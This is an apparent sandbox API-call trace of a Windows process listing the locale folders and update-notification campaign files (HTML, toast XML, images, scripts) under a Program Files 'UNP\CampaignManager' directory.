	[0156.102] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914769c5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x914769c5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x39d55500, ftLastWriteTime.dwHighDateTime=0x1d29d5c, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Back_0001_Static.png", cAlternateFileName="BACK_0~2.PNG")) returned 1
	[0156.102] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916d8f47, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x916d8f47, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x1ab83100, ftLastWriteTime.dwHighDateTime=0x1d2cb1b, nFileSizeHigh=0x0, nFileSizeLow=0x152b9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="jquery-3.1.1.min.js", cAlternateFileName="JQUERY~1.JS")) returned 1
	[0156.102] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918a2cfb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x918a2cfb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xa00a700, ftLastWriteTime.dwHighDateTime=0x1d2d49b, nFileSizeHigh=0x0, nFileSizeLow=0x203b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Lock-Confirmation-page-350.png", cAlternateFileName="LOCK-C~1.PNG")) returned 1
	[0156.102] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918a2cfb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x918a2cfb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x1c907700, ftLastWriteTime.dwHighDateTime=0x1d2a6ca, nFileSizeHigh=0x0, nFileSizeLow=0x237b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Picture2_80.jpg", cAlternateFileName="PICTUR~1.JPG")) returned 1
	[0156.102] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918c8e48, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x918c8e48, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x57d93800, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x28828, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PrivacyContentWrapper.min.js", cAlternateFileName="PRIVAC~1.JS")) returned 1
	[0156.102] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918c8e48, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x918c8e48, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x5e7dfd00, ftLastWriteTime.dwHighDateTime=0x1d2f192, nFileSizeHigh=0x0, nFileSizeLow=0x3e1a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="script.min.js", cAlternateFileName="SCRIPT~1.JS")) returned 1
	[0156.102] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x919fa093, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x919fa093, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1082, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="style.min.css", cAlternateFileName="STYLEM~1.CSS")) returned 1
	[0156.102] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91a20320, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91a20320, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x641a4300, ftLastWriteTime.dwHighDateTime=0x1d2d39b, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="style_ltr.min.css", cAlternateFileName="STYLE_~1.CSS")) returned 1
	[0156.185] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x641a4300, ftLastWriteTime.dwHighDateTime=0x1d2d39b, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="style_rtl.min.css", cAlternateFileName="STYLE_~2.CSS")) returned 1
	[0156.185] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x585d4e00, ftLastWriteTime.dwHighDateTime=0x1d29e39, nFileSizeHigh=0x0, nFileSizeLow=0x3f73, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Win10_Brand.png", cAlternateFileName="WIN10_~1.PNG")) returned 1
	[0156.185] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xb1d8d400, ftLastWriteTime.dwHighDateTime=0x1d2ec03, nFileSizeHigh=0x0, nFileSizeLow=0x16e1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WindowsUpdatePrivacySetting.scale-200.png", cAlternateFileName="WINDOW~1.PNG")) returned 1
	[0156.185] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xb1d8d400, ftLastWriteTime.dwHighDateTime=0x1d2ec03, nFileSizeHigh=0x0, nFileSizeLow=0x16e1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WindowsUpdatePrivacySetting.scale-200.png", cAlternateFileName="WINDOW~1.PNG")) returned 0
	[0156.185] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0156.186] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0156.186] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8807941, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91b2b4b0, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0156.186] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0156.186] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO") returned 100
	[0156.186] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8807941, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91b2b4b0, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0156.562] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8807941, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91b2b4b0, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0156.562] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa29c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0156.562] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x252, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0156.563] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x197, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0156.563] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b2b4b0, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b2b4b0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0156.563] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b2b4b0, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b2b4b0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0156.563] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0156.564] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0156.564] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8880860, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ca8b67, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0156.564] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0156.564] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU") returned 100
	[0156.564] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8880860, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ca8b67, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd840
	[0156.567] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8880860, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ca8b67, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0156.567] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b515fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xdc59, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0156.567] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b515fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x2aa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0156.567] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b515fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1e5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0156.567] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0156.567] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0156.567] FindClose (in: hFindFile=0x5dd840 | out: hFindFile=0x5dd840) returned 1
	[0156.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0156.569] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88ef27e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92500ff3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1
	[0156.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0156.569] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK") returned 100
	[0156.569] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88ef27e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92500ff3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde00
	[0156.572] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88ef27e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92500ff3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0156.572] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa1cb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0156.572] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0156.573] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0156.573] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92500ff3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92500ff3, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0156.573] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92500ff3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92500ff3, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0156.573] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0156.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0156.574] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88f19a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92906e91, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0156.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0156.574] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI") returned 100
	[0156.574] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88f19a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92906e91, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddec0
	[0156.577] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88f19a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92906e91, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0156.577] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x926583f5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9931, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0156.577] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9267e657, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x9267e657, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x66d5ac00, ftLastWriteTime.dwHighDateTime=0x1d2a223, nFileSizeHigh=0x0, nFileSizeLow=0x25d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
